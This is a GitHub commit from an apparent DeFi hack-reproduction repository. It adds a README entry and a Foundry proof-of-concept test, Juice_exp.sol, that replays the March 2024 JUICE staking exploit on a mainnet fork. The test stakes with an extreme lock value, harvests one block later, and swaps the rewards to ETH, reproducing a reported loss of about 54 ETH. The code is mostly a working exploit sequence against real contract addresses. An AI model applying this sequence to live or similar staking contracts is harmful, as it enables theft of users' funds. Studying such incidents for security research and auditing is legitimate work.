Skip to content

Commit 046e39f

Browse files
committed
feat: Add POC for JUICE staking exploit
1 parent d34e505 commit 046e39f

File tree

2 files changed

+92
-0
lines changed

2 files changed

+92
-0
lines changed

README.md

+20
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
3434
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )
3535

3636
## List of Past DeFi Incidents
37+
[20240309 Juice](#20240309-juice---business-logic-flaw)
3738

3839
[20240325 ZongZi](#20240325-zongzi---price-manipulation)
3940

@@ -821,6 +822,25 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
821822

822823
### List of DeFi Hacks & POCs
823824

825+
826+
827+
828+
### 20240309 Juice -
829+
830+
### Lost: ~54 ETH
831+
832+
833+
```sh
834+
forge test --contracts ./src/test/Juice_exp.sol -vvv
835+
```
836+
#### Contract
837+
[Juice_exp.sol](src/test/Juice_exp.sol)
838+
### Link reference
839+
840+
https://medium.com/@juicebotapp/juice-staking-exploit-next-steps-95e218b3ec71
841+
842+
---
843+
824844
### 20240325 ZongZi - Price Manipulation
825845

826846
### Lost: ~223K

src/test/Juice_exp.sol

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.15;
3+
4+
import "forge-std/Test.sol";
5+
import "./interface.sol";
6+
7+
// @KeyInfo - Total Lost : ~54 ETH
8+
// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE
9+
// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4
10+
// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e
11+
// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7
12+
13+
// @Info
14+
// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code
15+
16+
interface IStake {
17+
function harvest(uint256) external;
18+
function stake(uint256, uint256) external;
19+
}
20+
21+
contract Juice is Test {
22+
uint256 blocknumToForkFrom = 19395636;
23+
IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);
24+
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
25+
IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);
26+
27+
Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
28+
29+
function setUp() public {
30+
31+
vm.createSelectFork("mainnet", blocknumToForkFrom);
32+
}
33+
34+
function testExploit() public {
35+
emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);
36+
37+
//stake 0.5 ETH
38+
ETHtoJUICE(0.5 ether);
39+
JUICE.approve(address(JuiceStaking), type(uint256).max);
40+
JuiceStaking.stake(JUICE.balanceOf(address(this)),3000_000_000);
41+
42+
// harvest JUICE token a block later
43+
vm.roll(block.number + 1);
44+
vm.warp(block.timestamp + 12);
45+
JuiceStaking.harvest(0);
46+
JUICE.approve(address(Router), type(uint256).max);
47+
JUICEtoETH();
48+
49+
// Log balances after exploit
50+
emit log_named_decimal_uint("[End] Attacker ETH Balance After exploit", address(this).balance, 18);
51+
}
52+
53+
function ETHtoJUICE(uint256 amount) internal {
54+
address[] memory path = new address[](2);
55+
path[0] = address(WETH);
56+
path[1] = address(JUICE);
57+
Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
58+
0, path, address(this), block.timestamp + 60
59+
);
60+
}
61+
62+
function JUICEtoETH() internal {
63+
address[] memory path = new address[](2);
64+
path[0] = address(JUICE);
65+
path[1] = address(WETH);
66+
Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
67+
JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
68+
);
69+
}
70+
71+
fallback() external payable {}
72+
}

0 commit comments

Comments
 (0)